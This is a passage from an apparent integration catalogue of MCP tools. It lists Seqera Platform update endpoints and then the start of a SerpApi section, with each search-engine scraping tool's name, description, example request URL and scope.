owner's personal context. PUT /api/v1/seqera/credentials/{credentialsId}. Scopes: api. seqera_put_data_links_by_datalinkid (write) — Update data-link via PUT /data-links/{dataLinkId}. Update the data-link associated with the given `dataLinkId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/data-links/{dataLinkId}. Scopes: api. seqera_put_datasets_by_datasetid (write) — Update dataset (v2, workspace as a query parameter) via PUT /datasets/{datasetId}. Updates the details of the dataset identified by the given `datasetId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/datasets/{datasetId}. Scopes: api. seqera_put_identities_by_managedidentityid (write) — Update a Managed Identity via PUT /identities/{managedIdentityId}. Update a Managed Identity identified by the given ID. PUT /api/v1/seqera/identities/{managedIdentityId}. Scopes: api. seqera_put_identities_by_managedidentityid_credentials_by_managedcredentialsid (write) — Updates Managed Credentials via PUT /identities/{managedIdentityId}/credentials/{managedCredentialsId}. Update Managed Credentials for the given Managed Identity. PUT /api/v1/seqera/identities/{managedIdentityId}/credentials/{managedCredentialsId}. Scopes: api. seqera_put_labels_by_labelid (write) — Update label via PUT /labels/{labelId}. Updates the label identified by the given `labelId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/labels/{labelId}. Scopes: api. seqera_put_orgs_by_orgid (write) — Update organization via PUT /orgs/{orgId}. Updates the details of the organization identified by the given `orgId`. PUT /api/v1/seqera/orgs/{orgId}. Scopes: api. seqera_put_orgs_by_orgid_members_add (write) — Add organization member via PUT /orgs/{orgId}/members/add. Adds a new member to the organization identified by the given `orgId`. PUT /api/v1/seqera/orgs/{orgId}/members/add. Scopes: api. seqera_put_orgs_by_orgid_members_by_memberid_role (write) — Update member role via PUT /orgs/{orgId}/members/{memberId}/role. Updates the role of the member identified by the given `memberId`. PUT /api/v1/seqera/orgs/{orgId}/members/{memberId}/role. Scopes: api. seqera_put_orgs_by_orgid_teams_by_teamid (write) — Update team via PUT /orgs/{orgId}/teams/{teamId}. Updates the details of the team identified by the given `teamId`. PUT /api/v1/seqera/orgs/{orgId}/teams/{teamId}. Scopes: api. seqera_put_orgs_by_orgid_workspaces_by_workspaceid (write) — Update workspace via PUT /orgs/{orgId}/workspaces/{workspaceId}. Updates the details of the workspace identified by the given `workspaceId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}. Scopes: api. seqera_put_orgs_by_orgid_workspaces_by_workspaceid_participants_add (write) — Create workspace participant via PUT /orgs/{orgId}/workspaces/{workspaceId}/participants/add. Adds a new participant to the workspace identified by the given `workspaceId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}/participants/add. Scopes: api. seqera_put_orgs_by_orgid_workspaces_by_workspaceid_participants_by_participantid_role (write) — Update participant role via PUT /orgs/{orgId}/workspaces/{workspaceId}/participants/{participantId}/role. Updates the role of the given participant in the given workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}/participants/{participantId}/role. Scopes: api. seqera_put_orgs_by_orgid_workspaces_by_workspaceid_settings_studios (write) — Update workspace Studios settings via PUT /orgs/{orgId}/workspaces/{workspaceId}/settings/studios. Updates the Studios settings of the workspace identified by the given `workspaceId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}/settings/studios. Scopes: api. seqera_put_pipeline_secrets_by_secretid (write) — Update secret via PUT /pipeline-secrets/{secretId}. Updates the pipeline secret identified by the given `secretId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/pipeline-secrets/{secretId}. Scopes: api. seqera_put_pipelines_by_pipelineid (write) — Update pipeline (default version) via PUT /pipelines/{pipelineId}. Updates the details of the pipeline identified by the given `pipelineId`. **Note**: If `labelIds` is `null`, empty, or omitted, existing pipeline labels are removed. Include `labelIds: [<label-id-1>,<label-id-2>]` to override existing labels. Labels to be preserved must be included. To append a list of labels to multiple pipelines, use `/pipelines/labels/add`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/pipelines/{pipelineId}. Scopes: api. seqera_put_pipelines_by_pipelineid_versions_by_versionid_manage (write) — Update pipeline version name and default flag via PUT /pipelines/{pipelineId}/versions/{versionId}/manage. Updates a pipeline version's name and/or marks it as the default version. When setting a version as default, any previously default version is automatically unset. Version names cannot be changed if the version is already referenced by workflow runs. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/pipelines/{pipelineId}/versions/{versionId}/manage. Scopes: api. seqera_put_roles_by_rolename (write) — Update a role with the given name via PUT /roles/{roleName}. PUT /api/v1/seqera/roles/{roleName}. Scopes: api. seqera_put_studios_by_sessionid (write) — Update a Studio via PUT /studios/{sessionId}. Updates the given Studio session ID. Can only update non-running Studios. The compute environment can be changed by setting `computeEnvId` to a CE compatible with the Studio's current one; see `GET /studios/{sessionId}/compatible-ce`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/studios/{sessionId}. Scopes: api. seqera_put_studios_by_sessionid_checkpoints_by_checkpointid (write) — Update Studio checkpoint name via PUT /studios/{sessionId}/checkpoints/{checkpointId}. Updates the name of the given Studio checkpoint ID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/studios/{sessionId}/checkpoints/{checkpointId}. Scopes: api. seqera_put_studios_by_sessionid_start (write) — Starts a Studio via PUT /studios/{sessionId}/start. Starts the given Studio session ID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/studios/{sessionId}/start. Scopes: api. seqera_put_studios_by_sessionid_stop (write) — Stop Studio via PUT /studios/{sessionId}/stop. Stops the given Studio session ID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/studios/{sessionId}/stop. Scopes: api. seqera_put_trace_by_workflowid_begin (write) — Signal workflow execution start via PUT /trace/{workflowId}/begin. Updates the workflow execution trace for the given `workflowId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/trace/{workflowId}/begin. Scopes: api. seqera_put_trace_by_workflowid_complete (write) — Signal workflow execution completion via PUT /trace/{workflowId}/complete. Updates the workflow execution trace for the given `workflowId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/trace/{workflowId}/complete. Scopes: api. seqera_put_trace_by_workflowid_heartbeat (write) — Signal workflow execution heartbeat via PUT /trace/{workflowId}/heartbeat. Update the workflow execution trace heartbeat for the given `workflowId` to signal that execution is ongoing. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/trace/{workflowId}/heartbeat. Scopes: api. seqera_put_trace_by_workflowid_progress (write) — Store workflow task execution metadata via PUT /trace/{workflowId}/progress. Store the execution metadata for one or more tasks in the given `workflowId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/trace/{workflowId}/progress. Scopes: api. seqera_put_workspaces_by_workspaceid_datasets_by_datasetid (write) — Update dataset (workspace in the path) via PUT /workspaces/{workspaceId}/datasets/{datasetId}. Updates the details of the dataset identified by the given `datasetId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/workspaces/{workspaceId}/datasets/{datasetId}. Scopes: api. ================================================================================ ## SerpApi URL: https://www.agenticfabriq.com/integrations/serpapi Section: Integrated Tools SerpApi — 115 MCP tools Provider key: serpapi. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. serpapi_get_account_json (read) — Read the SerpApi account: plan name, searches used this month, searches left and the billing period. Free and NOT counted against the search quota, which is what makes it the credential check. GET https://serpapi.com/account.json GET /api/v1/serpapi/account.json. Scopes: api. serpapi_get_locations_json (read) — Look up SerpApi location identifiers -- the canonical names the location parameter of the Google-family search tools accepts, with their GPS coordinates and reach. GET https://serpapi.com/locations.json GET /api/v1/serpapi/locations.json. Scopes: api. serpapi_get_searches_json (read) — List this account's recent searches from the Search Archive, newest first -- the way results of an asynchronous search (async=true on any engine tool) are collected. Archived searches are retained for a limited period and re-reading one does not consume quota. GET https://serpapi.com/searches.json GET /api/v1/serpapi/searches.json. Scopes: api. serpapi_search_amazon (read) — Scrape Amazon search engine products and categories with SerpApi's Amazon Search API. Product links, prices, ratings, delivery information, sponsored products, and more. Runs SerpApi's amazon engine (GET /search with engine=amazon, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=amazon&k=QUERY Docs: https://serpapi.com/amazon-search-api GET /api/v1/serpapi/search/amazon. Scopes: api. serpapi_search_amazon_autocomplete (read) — Scrape Amazon Autocomplete suggestion results with SerpApi's Amazon Autocomplete API. Keyword suggestions for any Amazon domain. Runs SerpApi's amazon_autocomplete engine (GET /search with engine=amazon_autocomplete, which this tool pins). Required: k. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=amazon_autocomplete&k=QUERY Docs: https://serpapi.com/amazon-autocomplete-api GET /api/v1/serpapi/search/amazon_autocomplete. Scopes: api. serpapi_search_amazon_product (read) — Use SerpApi's Amazon Product API to scrape product details, including title, price, description, and more. Runs SerpApi's amazon_product engine (GET /search with engine=amazon_product, which this tool pins). Required: asin. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&asin=QUERY&engine=amazon_product Docs: https://serpapi.com/amazon-product-api GET /api/v1/serpapi/search/amazon_product. Scopes: api. serpapi_search_apple_app_store (read) — SerpApi's Apple App Store Search Scraper API allows you to scrape apps in order. Title, id number, link, price, version, description and much more deeper information in a well-structured json format. Runs SerpApi's apple_app_store engine (GET /search with engine=apple_app_store, which this tool pins). Required: term. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=apple_app_store&term=QUERY Docs: https://serpapi.com/apple-app-store GET /api/v1/serpapi/search/apple_app_store. Scopes: api. serpapi_search_apple_maps (read) — Scrape Apple Maps search results with SerpApi's Apple Maps Search API. Business name, address, phone number, website, opening hours and more in an easy-to-understand JSON format. Runs SerpApi's apple_maps engine (GET /search with engine=apple_maps, which this tool pins). Required: query. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=apple_maps&query=QUERY Docs: https://serpapi.com/apple-maps-api GET /api/v1/serpapi/search/apple_maps. Scopes: api. serpapi_search_apple_maps_places (read) — Scrape Apple Maps Places with SerpApi's Apple Maps Places API. Get business name, address, phone number, website, opening hours and more in an easy-to-use structured JSON format. Runs SerpApi's apple_maps_places engine (GET /search with engine=apple_maps_places, which this tool pins). Required: muid. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=apple_maps_places&muid=QUERY Docs: https://serpapi.com/apple-maps-places-api GET /api/v1/serpapi/search/apple_maps_places. Scopes: api. serpapi_search_apple_product (read) — SerpApi's Apple Product Page Scraper API allows you to scrape product pages via unique id of the product. Title, price, version, description, privacy details, in app purchases and much more deeper information is served in a well-structured json format. Runs SerpApi's apple_product engine (GET /search with engine=apple_product, which this tool pins). Required: product_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=apple_product&product_id=QUERY Docs: https://serpapi.com/apple-product GET /api/v1/serpapi/search/apple_product. Scopes: api. serpapi_search_apple_reviews (read) — SerpApi's Apple App Store Reviews Scraper API allows you to scrape reviews via unique id of the product. Title, text, rating, date, id of the review alongside reviewer's basic information is served in well-structured json format. Runs SerpApi's apple_reviews engine (GET /search with engine=apple_reviews, which this tool pins). Required: product_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=apple_reviews&product_id=QUERY Docs: https://serpapi.com/apple-reviews GET /api/v1/serpapi/search/apple_reviews. Scopes: api. serpapi_search_baidu (read) — Scrape Baidu search results in JSON format automatically using custom parameters. Search for keywords by language, date and more with SerpApi. Runs SerpApi's baidu engine (GET /search with engine=baidu, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=baidu&q=QUERY Docs: https://serpapi.com/baidu-search-api GET /api/v1/serpapi/search/baidu. Scopes: api. serpapi_search_baidu_news (read) — Scrape Baidu News Results with SerpApi's Baidu News API. Search for keywords by language, with sorting and filtering options. Available in an easy-to-understand JSON. Runs SerpApi's baidu_news engine (GET /search with engine=baidu_news, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=baidu_news&q=QUERY Docs: https://serpapi.com/baidu-news-api GET /api/v1/serpapi/search/baidu_news. Scopes: api. serpapi_search_bing (read) — Scrape Bing search results in JSON format automatically using custom parameters. Search for keywords by location, date and more with SerpApi. Runs SerpApi's bing engine (GET /search with engine=bing, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=bing&q=QUERY Docs: https://serpapi.com/bing-search-api GET /api/v1/serpapi/search/bing. Scopes: api. serpapi_search_bing_copilot (read) — Use SerpApi's Bing Copilot API to scrape Bing Copilot results including text blocks, references, and tables. Runs SerpApi's bing_copilot engine (GET /search with engine=bing_copilot, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=bing_copilot&q=QUERY Docs: https://serpapi.com/bing-copilot-api GET /api/v1/serpapi/search/bing_copilot. Scopes: api. serpapi_search_bing_images (read) — Use SerpApi's Bing Images API to scrape Bing Images results. Links, titles, sources, and thumbnails Runs SerpApi's bing_images engine (GET /search with engine=bing_images, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=bing_images&q=QUERY Docs: https://serpapi.com/bing-images-api GET /api/v1/serpapi/search/bing_images. Scopes: api. serpapi_search_bing_maps (read) — Use SerpApi's Bing Maps API to scrape Bing Maps results. title, address, phone, website, open state, and more. Runs SerpApi's bing_maps engine (GET /search with engine=bing_maps, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=bing_maps&q=QUERY Docs: https://serpapi.com/bing-maps-api GET /api/v1/serpapi/search/bing_maps. Scopes: api. serpapi_search_bing_news (read) — Use SerpApi's Bing News Results API to scrape Bing News results. Search in market locations and in specific time and date ranges. Runs SerpApi's bing_news engine (GET /search with engine=bing_news, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=bing_news&q=QUERY Docs: https://serpapi.com/bing-news-api GET /api/v1/serpapi/search/bing_news. Scopes: api. serpapi_search_bing_product (read) — Use SerpApi's Bing Product API to scrape Bing Product. Title, link, price, reviews, and more. Runs SerpApi's bing_product engine (GET /search with engine=bing_product, which this tool pins). Required: product_token. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=bing_product&product_token=QUERY Docs: https://serpapi.com/bing-product-api GET /api/v1/serpapi/search/bing_product. Scopes: api. serpapi_search_bing_reverse_image (read) — Use SerpApi's Bing Reverse Image API to scrape Bing Reverse Image results. Including links, titles, sources, thumbnails, dates and more. Runs SerpApi's bing_reverse_image engine (GET /search with engine=bing_reverse_image, which this tool pins). Required: image_url. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=bing_reverse_image&image_url=QUERY Docs: https://serpapi.com/bing-reverse-image-api GET /api/v1/serpapi/search/bing_reverse_image. Scopes: api. serpapi_search_bing_shopping (read) — Use SerpApi's Bing Shopping API to scrape Bing Shopping results. Title, link, thumbnail, price, seller and more are available. Runs SerpApi's bing_shopping engine (GET /search with engine=bing_shopping, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=bing_shopping&q=QUERY Docs: https://serpapi.com/bing-shopping-api GET /api/v1/serpapi/search/bing_shopping. Scopes: api. serpapi_search_bing_videos (read) — Use SerpApi's Bing Videos API to scrape Bing Videos results. Links, titles, sources, and thumbnails Runs SerpApi's bing_videos engine (GET /search with engine=bing_videos, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=bing_videos&q=QUERY Docs: https://serpapi.com/bing-videos-api GET /api/v1/serpapi/search/bing_videos. Scopes: api. serpapi_search_brave_ai_mode (read) — Use SerpApi's Brave AI Mode API to scrape Brave AI search results including text blocks, references, and more. Runs SerpApi's brave_ai_mode engine (GET /search with engine=brave_ai_mode, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=brave_ai_mode&q=QUERY Docs: https://serpapi.com/brave-ai-mode-api GET /api/v1/serpapi/search/brave_ai_mode. Scopes: api. serpapi_search_duckduckgo (read) — Scrape DuckDuckGo search results in JSON format automatically, using custom parameters. Search for keywords by region, date, and more with SerpApi. Runs SerpApi's duckduckgo engine (GET /search with engine=duckduckgo, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=duckduckgo&q=QUERY Docs: https://serpapi.com/duckduckgo-search-api GET /api/v1/serpapi/search/duckduckgo. Scopes: api. serpapi_search_duckduckgo_light (read) — Access the world's fastest DuckDuckGo Search API. Scrape DuckDuckGo search results in JSON format automatically using custom parameters. Search for keywords by location with SerpApi. Runs SerpApi's duckduckgo_light engine (GET /search with engine=duckduckgo_light, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=duckduckgo_light&q=QUERY Docs: https://serpapi.com/duckduckgo-light-api GET /api/v1/serpapi/search/duckduckgo_light. Scopes: api. serpapi_search_duckduckgo_maps (read) — Use SerpApi's DuckDuckGo Maps API to scrape DuckDuckGo Maps results. Position, title, link, thumbnail, rating, address and more are available. Runs SerpApi's duckduckgo_maps engine (GET /search with engine=duckduckgo_maps, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=duckduckgo_maps&q=QUERY Docs: https://serpapi.com/duckduckgo-maps-api GET /api/v1/serpapi/search/duckduckgo_maps. Scopes: api. serpapi_search_duckduckgo_news (read) — Scrape DuckDuckGo News search results in JSON format automatically, using custom parameters. Search for keywords by region, date, and more with SerpApi. Runs SerpApi's duckduckgo_news engine (GET /search with engine=duckduckgo_news, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=duckduckgo_news&q=QUERY Docs: https://serpapi.com/duckduckgo-news-api GET /api/v1/serpapi/search/duckduckgo_news. Scopes: api. serpapi_search_ebay (read) — Scrape eBay search engine seller listings with SerpApi's eBay Search Engine Results API. Product links, prices, condition ratings and more. Runs SerpApi's ebay engine (GET /search with engine=ebay, which this tool pins). Required: _nkw. Example: https://serpapi.com/search?_nkw=QUERY&api_key=YOUR_API_KEY&engine=ebay Docs: https://serpapi.com/ebay-search-api GET /api/v1/serpapi/search/ebay. Scopes: api. serpapi_search_ebay_product (read) — Scrape full eBay Product results with SerpApi's eBay Product API. Product specs, prices, ratings, reviews and more. Runs SerpApi's ebay_product engine (GET /search with engine=ebay_product, which this tool pins). Required: product_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=ebay_product&product_id=QUERY Docs: https://serpapi.com/ebay-product-api GET /api/v1/serpapi/search/ebay_product. Scopes: api. serpapi_search_facebook_profile (read) — Scrape Facebook Profile with SerpApi's Facebook Profile API. Profile name, description, posts, photos, videos and more. Runs SerpApi's facebook_profile engine (GET /search with engine=facebook_profile, which this tool pins). Required: profile_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=facebook_profile&profile_id=QUERY Docs: https://serpapi.com/facebook-profile-api GET /api/v1/serpapi/search/facebook_profile. Scopes: api. serpapi_search_google (read) — Scrape Google search results in JSON format automatically using custom parameters. Search for keywords by location, date and more with SerpApi. Runs SerpApi's google engine (GET /search with engine=google, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google&q=QUERY Docs: https://serpapi.com/search-api GET /api/v1/serpapi/search/google. Scopes: api. serpapi_search_google_ads (read) — Scrape sponsored results from Google search pages at a higher rate than the standard Google Search API. Runs SerpApi's google_ads engine (GET /search with engine=google_ads, which this tool pins). Required: q, location. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_ads&q=QUERY Docs: https://serpapi.com/google-ads-api GET /api/v1/serpapi/search/google_ads. Scopes: api. serpapi_search_google_ads_transparency_center (read) — Use SerpApi's Google Ads Transparency Center API to scrape Ads information display on Google. Runs SerpApi's google_ads_transparency_center engine (GET /search with engine=google_ads_transparency_center, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?advertiser_id=QUERY&api_key=YOUR_API_KEY&engine=google_ads_transparency_center Docs: https://serpapi.com/google-ads-transparency-center-api GET /api/v1/serpapi/search/google_ads_transparency_center. Scopes: api. serpapi_search_google_ai_mode (read) — Use SerpApi's Google AI Mode API to scrape Google AI Mode Results. Runs SerpApi's google_ai_mode engine (GET /search with engine=google_ai_mode, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_ai_mode&q=QUERY Docs: https://serpapi.com/google-ai-mode-api GET /api/v1/serpapi/search/google_ai_mode. Scopes: api. serpapi_search_google_ai_overview (read) — Use SerpApi's Google AI Overview API to scrape Google AI Overview information. Runs SerpApi's google_ai_overview engine (GET /search with engine=google_ai_overview, which this tool pins). Required: page_token. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_ai_overview&page_token=QUERY Docs: https://serpapi.com/google-ai-overview-api GET /api/v1/serpapi/search/google_ai_overview. Scopes: api. serpapi_search_google_autocomplete (read) — Scrape Google Autocomplete suggestion results with SerpApi's Google Autocomplete API. Chrome, Safari, Firefox, YouTube and more clients supported. Runs SerpApi's google_autocomplete engine (GET /search with engine=google_autocomplete, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_autocomplete&q=QUERY Docs: https://serpapi.com/google-autocomplete-api GET /api/v1/serpapi/search/google_autocomplete. Scopes: api. serpapi_search_google_events (read) — Use SerpApi's Google Events Engine Results API to scrape Google's Events Platform. Event titles, dates, links, ticket info and more. Runs SerpApi's google_events engine (GET /search with engine=google_events, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_events&q=QUERY Docs: https://serpapi.com/google-events-api GET /api/v1/serpapi/search/google_events. Scopes: api. serpapi_search_google_finance (read) — Scrape Google Finance API with SerpApi's Google Finance API. Extract stock performance, values, price movements, related news, and more. Runs SerpApi's google_finance engine (GET /search with engine=google_finance, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_finance&q=QUERY Docs: https://serpapi.com/google-finance-api GET /api/v1/serpapi/search/google_finance. Scopes: api. serpapi_search_google_finance_markets (read) — Scrape Google Finance Markets page with SerpApi's Google Finance Markets API. Extract stock names, values, price moments, related news, and more. Runs SerpApi's google_finance_markets engine (GET /search with engine=google_finance_markets, which this tool pins). Required: trend. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_finance_markets&trend=QUERY Docs: https://serpapi.com/google-finance-markets GET /api/v1/serpapi/search/google_finance_markets. Scopes: api. serpapi_search_google_flights (read) — Use SerpApi's Google Flights API to scrape Google Flights information. Runs SerpApi's google_flights engine (GET /search with engine=google_flights, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&departure_id=QUERY&engine=google_flights Docs: https://serpapi.com/google-flights-api GET /api/v1/serpapi/search/google_flights. Scopes: api. serpapi_search_google_flights_autocomplete (read) — Scrape Google Flights Autocomplete suggestion results with SerpApi's Google Flights Autocomplete API. Runs SerpApi's google_flights_autocomplete engine (GET /search with engine=google_flights_autocomplete, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_flights_autocomplete&q=QUERY Docs: https://serpapi.com/google-flights-autocomplete-api GET /api/v1/serpapi/search/google_flights_autocomplete. Scopes: api. serpapi_search_google_flights_deals (read) — Scrape Google Flights Deals with SerpApi's Google Flights Deals API. Destination, price, dates, and more available. Runs SerpApi's google_flights_deals engine (GET /search with engine=google_flights_deals, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&departure_id=QUERY&engine=google_flights_deals Docs: https://serpapi.com/google-flights-deals-api GET /api/v1/serpapi/search/google_flights_deals. Scopes: api. serpapi_search_google_forums (read) — Use SerpApi's Google Forums Engine Results API to scrape Google's Forums Platform. Forum titles, dates, links, and more. Runs SerpApi's google_forums engine (GET /search with engine=google_forums, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_forums&q=QUERY Docs: https://serpapi.com/google-forums-api GET /api/v1/serpapi/search/google_forums. Scopes: api. serpapi_search_google_hotels (read) — Use SerpApi's Google Hotels API to scrape Google Hotels results. Runs SerpApi's google_hotels engine (GET /search with engine=google_hotels, which this tool pins). Required: q, check_in_date, check_out_date. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_hotels&q=QUERY Docs: https://serpapi.com/google-hotels-api GET /api/v1/serpapi/search/google_hotels. Scopes: api. serpapi_search_google_hotels_autocomplete (read) — Scrape Google Hotels Autocomplete suggestion results with SerpApi's Google Hotels Autocomplete API. Runs SerpApi's google_hotels_autocomplete engine (GET /search with engine=google_hotels_autocomplete, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_hotels_autocomplete&q=QUERY Docs: https://serpapi.com/google-hotels-autocomplete-api GET /api/v1/serpapi/search/google_hotels_autocomplete. Scopes: api. serpapi_search_google_hotels_photos (read) — Scrape Google Hotels photo results with SerpApi's Google Hotels Photos API. Runs SerpApi's google_hotels_photos engine (GET /search with engine=google_hotels_photos, which this tool pins). Required: property_token. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_hotels_photos&property_token=QUERY Docs: https://serpapi.com/google-hotels-photos-api GET /api/v1/serpapi/search/google_hotels_photos. Scopes: api. serpapi_search_google_hotels_reviews (read) — Scrape Google Hotels Reviews with SerpApi's Google Hotels Reviews API. Runs SerpApi's google_hotels_reviews engine (GET /search with engine=google_hotels_reviews, which this tool pins). Required: property_token. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_hotels_reviews&property_token=QUERY Docs: https://serpapi.com/google-hotels-reviews-api GET /api/v1/serpapi/search/google_hotels_reviews. Scopes: api. serpapi_search_google_images (read) — Scrape Google Images results with SerpApi's Google Images API. Title, link, source and more in code friendly JSON format. Runs SerpApi's google_images engine (GET /search with engine=google_images, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_images&q=QUERY Docs: https://serpapi.com/google-images-api GET /api/v1/serpapi/search/google_images. Scopes: api. serpapi_search_google_images_light (read) — Access the world's fastest Google Images API. Scrape Google Images results faster than ever with SerpApi's Google Images Light API. Title, thumbnail, link, and more. Runs SerpApi's google_images_light engine (GET /search with engine=google_images_light, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_images_light&q=QUERY Docs: https://serpapi.com/google-images-light-api GET /api/v1/serpapi/search/google_images_light. Scopes: api. serpapi_search_google_images_related_content (read) — Scrape Google Images Related Content results with SerpApi's Google Images Related Content API. Title, link, source, and more in code friendly JSON format. Runs SerpApi's google_images_related_content engine (GET /search with engine=google_images_related_content, which this tool pins). Required: related_content_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_images_related_content&related_content_id=QUERY Docs: https://serpapi.com/google-images-related-content-api GET /api/v1/serpapi/search/google_images_related_content. Scopes: api. serpapi_search_google_immersive_product (read) — Scrape Google's product info popup with SerpApi's Google Immersive Product API. You will be able to retrieve more results regarding a product using the API Runs SerpApi's google_immersive_product engine (GET /search with engine=google_immersive_product, which this tool pins). Required: page_token. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_immersive_product&page_token=QUERY Docs: https://serpapi.com/google-immersive-product-api GET /api/v1/serpapi/search/google_immersive_product. Scopes: api. serpapi_search_google_jobs (read) — Scrape Google Job results with SerpApi's Google Jobs Results API. Job titles, company names and locations included. Search for full-time or part time jobs. Runs SerpApi's google_jobs engine (GET /search with engine=google_jobs, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_jobs&q=QUERY Docs: https://serpapi.com/google-jobs-api GET /api/v1/serpapi/search/google_jobs. Scopes: api. serpapi_search_google_lens (read) — Scrape Google Lens page with SerpApi's Google Lens API. Visual matches, exact matches, related content including title, link, source, and more. Runs SerpApi's google_lens engine (GET /search with engine=google_lens, which this tool pins). Required: url, type. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_lens&url=QUERY Docs: https://serpapi.com/google-lens-api GET /api/v1/serpapi/search/google_lens. Scopes: api. serpapi_search_google_light (read) — Access the world's fastest Google Search API. Scrape 